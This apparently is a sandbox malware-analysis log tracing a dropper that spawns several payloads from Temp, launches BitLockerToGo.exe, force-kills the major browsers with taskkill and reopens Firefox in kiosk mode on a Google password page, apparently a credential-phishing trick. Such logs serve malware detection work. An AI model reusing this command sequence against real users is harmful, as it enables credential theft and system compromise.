Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2236 -prefsLen 25302 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c7e7f5d5-73dd-4c1a-a6fa-a6c484cbc095} 5652 "\\.\pipe\gecko-crash-server-pipe.5652" 14859a6f910 socket
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe "C:\Users\user~1\AppData\Local\Temp\10128900101\a026d51e13.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4120 -parentBuildID 20230927232528 -prefsHandle 4112 -prefMapHandle 4088 -prefsLen 26317 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {cf6327f8-2f8d-4679-bca6-27319e078dfd} 5652 "\\.\pipe\gecko-crash-server-pipe.5652" 1486b8e4b10 rdd
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe "C:\Users\user~1\AppData\Local\Temp\10128890101\3353aa7d43.exe"
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Process created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe "C:\Users\user~1\AppData\Local\Temp\bb556cff4a\rapes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe "C:\Users\user~1\AppData\Local\Temp\10128840101\c2f48edf32.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe "C:\Users\user~1\AppData\Local\Temp\10128850101\7f41c1bc85.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe "C:\Users\user~1\AppData\Local\Temp\10128860101\5a20da7e37.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe "C:\Users\user~1\AppData\Local\Temp\10128870101\4bcefcec83.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe "C:\Users\user~1\AppData\Local\Temp\10128880101\2009d9de82.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe "C:\Users\user~1\AppData\Local\Temp\10128890101\3353aa7d43.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe "C:\Users\user~1\AppData\Local\Temp\10128900101\a026d51e13.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Process created: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe "C:\Users\user~1\AppData\Local\Temp\10128860101\5a20da7e37.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2236 -prefsLen 25302 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c7e7f5d5-73dd-4c1a-a6fa-a6c484cbc095} 5652 "\\.\pipe\gecko-crash-server-pipe.5652" 14859a6f910 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4120 -parentBuildID 20230927232528 -prefsHandle 4112 -prefMapHandle 4088 -prefsLen 26317 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {cf6327f8-2f8d-4679-bca6-27319e078dfd} 5652 "\\.\pipe\gecko-crash-server-pipe.5652" 1486b8e4b10 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Section loaded: msasn1.dll
